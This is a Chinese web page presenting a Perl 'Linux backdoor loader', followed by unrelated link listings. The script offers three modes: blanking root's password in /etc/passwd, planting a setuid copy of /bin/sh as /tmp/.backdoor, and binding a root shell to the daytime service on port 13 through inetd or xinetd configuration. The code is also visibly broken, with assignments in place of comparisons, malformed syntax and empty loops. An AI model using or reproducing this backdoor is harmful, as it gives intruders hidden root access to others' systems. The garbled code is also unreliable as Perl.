用perl写的linux后门加载程序

print "++++++++++++++++++++++++++++++++++++linux后门工具+++++++++++++++++++++++++++++++++++\n";

print "使用说明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一个账号到passwd中,用户名是root,密码为空n fakebackdoor是绑定一个shell到/tmp/.backdoor下,运行后直接取得root shell,rushport是绑定端口在daytime服务中\n,有两个版本,一个是针对redhatlinux7.0一下的--rushport1,一个是针对redhatlinux7.0以上的--rushport2.\n一般服务器都不开这个服务,程序自动激活daytime服务,telnet到13端口直接取得rootshell 这种方法隐蔽性相对前两中最好\n,记住要重启daytime服务才能生效\n eg: rush rushroot,程序还有很多可以优化的地方,如果有什么好的改进请email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n";

$parameter = @;ARGV[0];

chomp $parameter;

if ($parameter = "rushroot")

{

&rushroot;

}

elsif ($parameter = "fakebackdoor")

{

&fakebackdoor;

}

elsif($parameter = "rushport")

{

&rushport1;

}

else ($parameter = "rushport2")

{

&rushport2;

}

sub rushroot

{

open (PWD,"/etc/passwd") || die "cannt find the shadow file!\n";

while()

{

chop;

$passwd.="$_\n";

last;

}

chomp $passwd;

if($passwd eq "root:x:0:0:root:/root:/bin/bash")

{

$passwd =~s/x//g;

print "rushroot success!now you can get a rootshell with null passwd";

}

else

{

print "faild....something wrong....:(((";

}

while()

{

chomp;

$passwd1.="$_\n";

}

close PWD;

open (PWD,"/etc/passwd")||die "why?";

print PWD $passwd;

print PWD $passwd1;

}

sub fakebackdoor

{

@cpsh = ("cp", "/bin/sh /tmp/.backdoor");

@chmod= ("chmod","u+s /tmp/.backdoor");

system(@cpsh);

system(@chmod);

print "success! now you can use ./tmp/.backdoor to get a root shell\n";

}

sub rushport1

{

open (RH6,"/etc/inetd.d/inetd.conf") || die "cannt find the shadow file!\n"; #这里根据版本不同可自己修改路径

while()

{

chomp;

$passwd.="$_\n";

chomp $passwd;

if ($passwd eq "daytime stream tcp nowait root internal")

{

$passwd =~s/root internal/bin\/sh -i/g;

}

last;

close RH6;

open (RH6,"/etc/inetd.d/inetd.conf")||die "faild...:("; # #这里根据版本不同可自己修改路径

print RH6 $passwd;

print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";

}

}

sub rushport2

{

open (DAYTIME,"/etc/xinetd.d/daytime") || die "can't open file!";

$daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n";

print DAYTIME $daytime;

print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";

}

· 湖北宜昌三峡坝区水面惊现神秘动物

近日,湖北宜昌,一段视频在当地热传:有网友在三峡坝区拍到神秘动物,体型硕大数米长...

· 什么是语段?语段的类型以及和句群、段落的区别与联系是什么?

句群是最高级的语言单位。 段落(自然段)是章法单位...

· 十八部好看的赌石类小说

以下是十八部(排名不分先后)好看的赌石类小说的简介,喜欢的朋友可以去搜索书名阅读...

 
改良的Perl:程序员面向Linux的设置
  作者:Teodor Zlatanov  优化机器来满足需要  为面向 Java 和 Perl 的编程环境定制了 tcsh、Enlightenment、Eterm 和 Emacs 后,Teodor 为我们展示了他桌面的 Linux 配置。这是为 Java 和 Perl 编程设置优化...查看完整版>>改良的Perl:程序员面向Linux的设置
 
“黑客之门”后门魅力:感染与加载
  最近对后门产生了很浓厚的兴趣,上网与各位高手讨论的时候,有人提到了“黑客之门”很厉害,也算是推出来的比较成功的一个后门,于是上网下载了一个研究研究,顺便也学习学习其中的方法与技巧。不敢独享,分享于...查看完整版>>“黑客之门”后门魅力:感染与加载
 
Linux操作系统下安装Perl及其模块的方法
Linux和perl都属于自由软件,将二者结合真是妙不可言。遵循以下步骤一般就可安装好perl,perl 就能在linux下欢唱。 1、取得最新版本的 perl,当前版本为 5.6.0,即 stable.tar.gz。 2、解文件包: gunzip stable.tar....查看完整版>>Linux操作系统下安装Perl及其模块的方法
 
Linux操作系统下安装Perl及Perl模块方法
Linux 和 perl 都属于自由软件,将二者结合真是妙不可言。遵循以下步骤一般就可安装好 perl ,perl 就能在 linux 下欢唱。 1、取得最新版本的 perl,当前版本为 5.6.0,即 stable.tar.gz。 2、解文件包: gunzip stab...查看完整版>>Linux操作系统下安装Perl及Perl模块方法
 
新手学堂:在Linux下安装Perl及Perl模块
Linux和Perl都属于自由软件,将二者结合真是妙不可言。遵循以下步骤一般就可安装好 perl ,perl 就能在 linux 下欢唱。 1、取得最新版本的 perl,当前版本为 5.6.0,即 stable.tar.gz。 2、解文件包: gunzip stable....查看完整版>>新手学堂:在Linux下安装Perl及Perl模块